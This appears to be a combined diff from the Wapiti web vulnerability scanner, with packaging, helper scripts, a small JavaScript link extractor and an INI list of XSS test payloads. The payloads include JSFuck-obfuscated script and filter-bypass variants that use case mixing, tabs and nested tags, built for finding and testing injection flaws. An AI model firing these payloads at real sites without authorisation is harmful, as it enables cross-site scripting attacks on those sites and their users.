|
||||
scripts=[
|
||||
"bin/wapiti",
|
||||
"bin/wapiti-getcookie"
|
||||
],
|
||||
classifiers=[
|
||||
'Development Status :: 5 - Production/Stable',
|
||||
'Environment :: Console',
|
||||
'Intended Audience :: End Users/Desktop',
|
||||
'Intended Audience :: Developers',
|
||||
'Intended Audience :: System Administrators',
|
||||
'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
|
||||
'Natural Language :: English',
|
||||
'Operating System :: MacOS :: MacOS X',
|
||||
'Operating System :: Microsoft :: Windows',
|
||||
'Operating System :: POSIX',
|
||||
'Operating System :: Unix',
|
||||
'Programming Language :: Python',
|
||||
'Topic :: Security',
|
||||
'Topic :: Internet :: WWW/HTTP :: Indexing/Search',
|
||||
'Topic :: Software Development :: Testing'
|
||||
],
|
||||
install_requires=[
|
||||
"requests",
|
||||
"beautifulsoup4",
|
||||
parser_name,
|
||||
"tld",
|
||||
"yaswfp",
|
||||
"mako",
|
||||
"PySocks"
|
||||
],
|
||||
extras_require={
|
||||
'NTLM': ["requests_ntlm"],
|
||||
'Kerberos': ["requests_kerberos"],
|
||||
},
|
||||
entry_points={
|
||||
"console_scripts": [
|
||||
"wapiti = wapitiCore.main.wapiti:wapiti_main",
|
||||
"wapiti-getcookie = wapitiCore.main.getcookie:getcookie_main",
|
||||
],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,321 @@
|
|||
; Let's start with the most obvious XSS payloads
|
||||
[script_absolute_src]
|
||||
payload = <script src=https://wapiti3.ovh/__XSS__z.js></script>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[script_protocol_src]
|
||||
payload = <script src=//wapiti3.ovh/__XSS__z.js></script>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = //wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[script_alert_quote]
|
||||
payload = <script>alert('__XSS__')</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[script_alert_double_quote]
|
||||
payload = <script>alert("__XSS__")</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[script_alert_regex]
|
||||
payload = <script>alert(/__XSS__/)</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert(/__XSS__/)
|
||||
case_sensitive = yes
|
||||
|
||||
[script_jsfuck_13_plus_37]
|
||||
payload = <script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()
|
||||
case_sensitive = no
|
||||
|
||||
[script_fromcharcode]
|
||||
payload = <script>String.fromCharCode(0,__XSS__,1)</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[script_alert_parentheses_regex]
|
||||
payload = <script>(alert)(/__XSS__/);</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = (alert)(/__XSS__/);
|
||||
case_sensitive = yes
|
||||
|
||||
[img_onerror_alert_double_quote]
|
||||
payload = <img src=. onerror=alert("__XSS__")>
|
||||
tag = img
|
||||
attribute = onerror
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[img_onerror_alert_quote]
|
||||
payload = <img src=. onerror=alert('__XSS__')>
|
||||
tag = img
|
||||
attribute = onerror
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[img_onerror_alert_regex]
|
||||
payload = <img src=. onerror=alert(/__XSS__/)>
|
||||
tag = img
|
||||
attribute = onerror
|
||||
value = alert(/__XSS__/)
|
||||
case_sensitive = yes
|
||||
|
||||
[img_onerror_fromcharcode]
|
||||
payload = <img src=. onerror=String.fromCharCode(0,__XSS__,1)>
|
||||
tag = img
|
||||
attribute = onerror
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[object_data_alert_quote]
|
||||
payload = <object data="javascript:alert('__XSS__')">
|
||||
tag = object
|
||||
attribute = data
|
||||
value = javascript:alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[object_data_fromcharcode]
|
||||
payload = <object data=javascript:String.fromCharCode(0,__XSS__,1)>
|
||||
tag = object
|
||||
attribute = data
|
||||
value = javascript:String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[param_value_alert_quote]
|
||||
payload = <object><param name=x value=javascript:alert('__XSS__')></object>
|
||||
tag = param
|
||||
attribute = value
|
||||
value = javascript:alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[param_value_alert_double_quote]
|
||||
payload = <object><param name=x value=javascript:alert("__XSS__")></object>
|
||||
tag = param
|
||||
attribute = value
|
||||
value = javascript:alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[param_value_fromcharcode]
|
||||
payload = <object><param name=x value=javascript:String.fromCharCode(0,__XSS__,1)></object>
|
||||
tag = param
|
||||
attribute = value
|
||||
value = javascript:String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[iframe_src_javascript]
|
||||
payload = <iframe src="javascript:String.fromCharCode(0,__XSS__,1);"></iframe>
|
||||
tag = iframe
|
||||
attribute = src
|
||||
value = javascript:String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[frame_src_javascript]
|
||||
payload = <frameset><frame src="javascript:String.fromCharCode(0,__XSS__,1);"></frame>
|
||||
tag = frame
|
||||
attribute = src
|
||||
value = javascript:String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
|
||||
|
||||
; Tricks
|
||||
[script_slash_absolute_src]
|
||||
payload = <script/ src=https://wapiti3.ovh/__XSS__z.js></script/>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
|
||||
|
||||
; Those are simple case sensitive bypass
|
||||
[case_script_alert_quote]
|
||||
payload = <ScRiPt>alert('__XSS__')</sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[case_script_alert_double_quote]
|
||||
payload = <ScRiPt>alert("__XSS__")</sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[case_script_alert_regex]
|
||||
payload = <ScRiPt>alert(/__XSS__/)</sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert(/__XSS__/)
|
||||
case_sensitive = yes
|
||||
|
||||
[case_script_fromcharcode]
|
||||
payload = <ScRiPt>String.fromCharCode(0,__XSS__,1)</sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[case_script_absolute_src]
|
||||
payload = <ScRiPt src=https://wapiti3.ovh/__XSS__z.js></sCrIpT>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[case_script_slash_absolute_src]
|
||||
payload = <ScRiPt/ src=https://wapiti3.ovh/__XSS__z.js></sCrIpT/>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[case_script_jsfuck_13_plus_37]
|
||||
payload = <ScRiPt>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()</sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]([+!+[]]+[!+[]+!+[]+!+[]]+(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]])()
|
||||
case_sensitive = no
|
||||
|
||||
|
||||
|
||||
; Try injecting whitespaces...
|
||||
[tab_script_absolute_src]
|
||||
payload = <script[TAB]src=https://wapiti3.ovh/__XSS__z.js></script>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[case_tab_script_absolute_src]
|
||||
payload = <ScRiPt[TAB]src=https://wapiti3.ovh/__XSS__z.js></sCrIpT>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[tab_img_onerror_fromcharcode]
|
||||
payload = <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,__XSS__,1)>
|
||||
tag = img
|
||||
attribute = onerror
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[space_script_alert_quote]
|
||||
payload = <script >alert('__XSS__')</script >
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[space_script_alert_double_quote]
|
||||
payload = <script >alert("__XSS__")</script >
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[space_script_fromcharcode]
|
||||
payload = <script >String.fromCharCode(0,__XSS__,1)</script >
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[case_space_script_fromcharcode]
|
||||
payload = <ScRiPt >String.fromCharCode(0,__XSS__,1)</ sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[case_tab_script_fromcharcode]
|
||||
payload = <ScRiPt[TAB]>String.fromCharCode(0,__XSS__,1)</[TAB]sCrIpT>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[tab_object_data_fromcharcode]
|
||||
payload = <object[TAB]data=javascript:String.fromCharCode(0,__XSS__,1)>
|
||||
tag = object
|
||||
attribute = data
|
||||
value = javascript:String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
|
||||
|
||||
; Bypass remove of tags
|
||||
[open_script_tag_remove_alert_quote]
|
||||
payload = <scr<script>ipt>alert('__XSS__')</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[script_tag_remove_alert_quote]
|
||||
payload = <scr<script>ipt>alert('__XSS__')</scr</script>ipt>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert('__XSS__')
|
||||
case_sensitive = yes
|
||||
|
||||
[open_script_tag_remove_alert_double_quote]
|
||||
payload = <scr<script>ipt>alert("__XSS__")</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[script_tag_remove_alert_double_quote]
|
||||
payload = <scr<script>ipt>alert("__XSS__")</scr</script>ipt>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = alert("__XSS__")
|
||||
case_sensitive = yes
|
||||
|
||||
[open_script_tag_remove_fromcharcode]
|
||||
payload = <scr<script>ipt>String.fromCharCode(0,__XSS__,1)</script>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[script_tag_remove_fromcharcode]
|
||||
payload = <scr<script>ipt>String.fromCharCode(0,__XSS__,1)</scr</script>ipt>
|
||||
tag = script
|
||||
attribute = string
|
||||
value = String.fromCharCode(0,__XSS__,1)
|
||||
case_sensitive = yes
|
||||
|
||||
[open_script_tag_remove_absolute_src]
|
||||
payload = <scr<script>ipt src=https://wapiti3.ovh/__XSS__z.js></script>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
||||
[script_tag_remove_absolute_src]
|
||||
payload = <scr<script>ipt src=https://wapiti3.ovh/__XSS__z.js></scr</script>ipt>
|
||||
tag = script
|
||||
attribute = src
|
||||
value = https://wapiti3.ovh/__XSS__z.js
|
||||
case_sensitive = no
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2017-2018 Nicolas SURRIBAS
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import os
|
||||
import sys
|
||||
|
||||
parent_dir = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
|
||||
if os.path.exists(os.path.join(parent_dir, "wapitiCore")):
|
||||
sys.path.append(parent_dir)
|
||||
|
||||
from wapitiCore.main.wapiti import wapiti_main
|
||||
|
||||
if __name__ == "__main__":
|
||||
wapiti_main()
|
|
@ -0,0 +1,43 @@
|
|||
#!/usr/bin/env python3
|
||||
# Took this from https://github.com/tdhopper/moon/blob/master/moon.py
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
# Adapted the moon phase code from
|
||||
# http://smithje.github.io/bash/2013/07/08/moon-phase-prompt.html
|
||||
|
||||
def julian(year, month, day) -> float:
|
||||
a = (14 - month) / 12.0
|
||||
y = year + 4800 - a
|
||||
m = (12 * a) - 3 + month
|
||||
return day + (153 * m + 2) / 5.0 + (365 * y) + y / 4.0 - y / 100.0 + y / 400.0 - 32045
|
||||
|
||||
|
||||
def phase(year=None, month=None, day=None) -> str:
|
||||
if year is None and month is None and day is None:
|
||||
today = datetime.now()
|
||||
year, month, day = today.year, today.month, today.day
|
||||
p = (julian(year, month, day) - julian(2000, 1, 6)) % 29.530588853
|
||||
|
||||
if p < 1.84566:
|
||||
return "new"
|
||||
elif p < 5.53699:
|
||||
return "waxing crescent"
|
||||
elif p < 9.22831:
|
||||
return "first quarter"
|
||||
elif p < 12.91963:
|
||||
return "waxing gibbous"
|
||||
elif p < 16.61096:
|
||||
return "full"
|
||||
elif p < 20.30228:
|
||||
return "waning gibbous"
|
||||
elif p < 23.99361:
|
||||
return "last quarter"
|
||||
elif p < 27.68493:
|
||||
return "waning crescent"
|
||||
else:
|
||||
return "new"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(phase())
|
|
@ -0,0 +1,183 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# LameJs - A very basic javascript interpreter in Python
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2013-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import logging
|
||||
|
||||
from wapitiCore.net.jsparser import jsparser3
|
||||
|
||||
|
||||
class LameJs:
|
||||
|
||||
def __init__(self, data):
|
||||
self.js_vars = {}
|
||||
self.links = []
|
||||
self.debug = False
|
||||
try:
|
||||
self.js_vars = {}
|
||||
self.links = []
|
||||
rootnode = jsparser3.parse(data, None, 0)
|
||||
self.read_node(rootnode)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def get_vars(self):
|
||||
return self.js_vars
|
||||
|
||||
def get_links(self):
|
||||
return self.links
|
||||
|
||||
def read_node(self, node):
|
||||
if node.type == "SCRIPT":
|
||||
logging.debug("# SCRIPT")
|
||||
for sub_node in node:
|
||||
self.read_node(sub_node)
|
||||
elif node.type == "VAR":
|
||||
logging.debug("# VAR IN")
|
||||
logging.debug("# VAR OUT {}".format(self.read_node(node[0])))
|
||||
elif node.type == "IDENTIFIER":
|
||||
logging.debug("# IDENTIFIER")
|
||||
if hasattr(node, 'initializer'):
|
||||
value = self.read_node(node.initializer)
|
||||
self.js_vars[node.value] = value
|
||||
return node.value, value
|
||||
return node.value
|
||||
elif node.type == "NUMBER":
|
||||
logging.debug("# NUMBER")
|
||||
return node.value
|
||||
elif node.type == "STRING":
|
||||
logging.debug("# STRING")
|
||||
return node.value
|
||||
elif node.type == "PLUS":
|
||||
logging.debug("# PLUS")
|
||||
eax = None
|
||||
for sub_node in node:
|
||||
value = self.read_node(sub_node)
|
||||
if eax is None:
|
||||
eax = value
|
||||
else:
|
||||
if isinstance(eax, str):
|
||||
if isinstance(value, str):
|
||||
eax += value
|
||||
elif isinstance(value, int):
|
||||
eax += str(value)
|
||||
elif isinstance(eax, int):
|
||||
if isinstance(value, str):
|
||||
eax = str(eax) + value
|
||||
elif isinstance(value, int):
|
||||
eax += value
|
||||
return eax
|
||||
elif node.type == "FUNCTION":
|
||||
logging.debug("# FUNCTION")
|
||||
try:
|
||||
func_name = node.name
|
||||
except AttributeError:
|
||||
func_name = "anonymous"
|
||||
logging.debug("In function {0}".format(func_name))
|
||||
self.read_node(node.body)
|
||||
elif node.type == "SEMICOLON":
|
||||
logging.debug("# SEMICOLON")
|
||||
self.read_node(node.expression)
|
||||
logging.debug("Semicolon end")
|
||||
elif node.type == "CALL":
|
||||
logging.debug("# CALL")
|
||||
func_name = self.read_node(node[0])
|
||||
if not func_name:
|
||||
func_name = "anonymous"
|
||||
params = self.read_node(node[1])
|
||||
logging.debug("func_name = {0}".format(func_name))
|
||||
logging.debug("params = {0}".format(params))
|
||||
if func_name == "window.open":
|
||||
if len(params):
|
||||
self.links.append(params[0])
|
||||
elif func_name.endswith(".asyncRequest"):
|
||||
if len(params) > 1:
|
||||
if params[0].upper() in ["GET", "POST"]:
|
||||
self.links.append(params[1])
|
||||
elif node.type == "DOT":
|
||||
logging.debug("# DOT")
|
||||
return ".".join([sub_node.value for sub_node in node])
|
||||
elif node.type == "LIST":
|
||||
logging.debug("# LIST")
|
||||
ll = []
|
||||
for sub_node in node:
|
||||
ll.append(self.read_node(sub_node))
|
||||
logging.debug("list = {0}".format(ll))
|
||||
return ll
|
||||
elif node.type == "ASSIGN":
|
||||
logging.debug("# ASSIGN")
|
||||
left_value = self.read_node(node[0])
|
||||
right_value = self.read_node(node[1])
|
||||
logging.debug("left_value = {0}".format(left_value))
|
||||
logging.debug("right_value = {0}".format(right_value))
|
||||
if right_value and (
|
||||
left_value.endswith(".href") or
|
||||
left_value.endswith(".action") or
|
||||
left_value.endswith(".location") or
|
||||
left_value.endswith(".src")
|
||||
):
|
||||
if node[1].type == "IDENTIFIER" and self.js_vars.get(right_value):
|
||||
self.links.append(self.js_vars[right_value])
|
||||
else:
|
||||
self.links.append(right_value)
|
||||
elif node.type == "WITH":
|
||||
logging.debug("# WITH")
|
||||
for sub_node in node.body:
|
||||
self.read_node(sub_node)
|
||||
elif node.type == "PROPERTY_INIT":
|
||||
logging.debug("# PROPERTY_INIT")
|
||||
attrib_name = self.read_node(node[0])
|
||||
attrib_value = self.read_node(node[1])
|
||||
logging.debug("attrib_name = {0}".format(attrib_name))
|
||||
logging.debug("attrib_value = {0}".format(attrib_value))
|
||||
return attrib_name
|
||||
elif node.type == "OBJECT_INIT":
|
||||
logging.debug("# OBJECT_INIT")
|
||||
for sub_node in node:
|
||||
self.read_node(sub_node)
|
||||
logging.debug("OBJECT_INIT end")
|
||||
elif node == "REGEXP":
|
||||
logging.debug("# REGEXP")
|
||||
return node.value
|
||||
elif node == "THIS":
|
||||
logging.debug("# THIS")
|
||||
return "this"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
logging.basicConfig(level=logging.DEBUG)
|
||||
|
||||
data = """
|
||||
window.open("/toto.html");
|
||||
document.location='bidule.html';
|
||||
var link='ab'+'cd'+'.html';
|
||||
window.href=link;
|
||||
document.location = link + "?var=value";
|
||||
"""
|
||||
|
||||
# from https://public-firing-range.appspot.com/remoteinclude/script_hash.html
|
||||
data2 = """
|
||||
var target = location.hash.substr(1);
|
||||
var head = document.getElementsByTagName('head')[0];
|
||||
var script = document.createElement('script');
|
||||
script.type = 'text/javascript';
|
||||
script.src = target;
|
||||
head.appendChild(script);
|
||||
"""
|
||||
lame_js = LameJs(data)
|
||||
print(lame_js.get_links())
|
|
@ -0,0 +1,62 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas SURRIBAS
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import _
|
||||
|
||||
|
||||
def get_speed(resource):
|
||||
return (resource.size + 1) / resource.duration
|
||||
|
||||
|
||||
def compare(res1, res2):
|
||||
size1 = res1.size + 1
|
||||
size2 = res2.size + 1
|
||||
delay1 = res1.elapsed_time.total_seconds()
|
||||
delay2 = res2.elapsed_time.total_seconds()
|
||||
|
||||
diff = (size1 / delay1) - (size2 / delay2)
|
||||
if diff > 0:
|
||||
return 1
|
||||
elif diff < 0:
|
||||
return -1
|
||||
else:
|
||||
return 0
|
||||
|
||||
|
||||
class mod_delay(Attack):
|
||||
"""This class gives a top 10 of the webpages taking the most time to respond (compared to their size)"""
|
||||
|
||||
name = "delay"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def attack(self):
|
||||
urls = self.persister.get_links(attack_module=self.name) if self.do_get else []
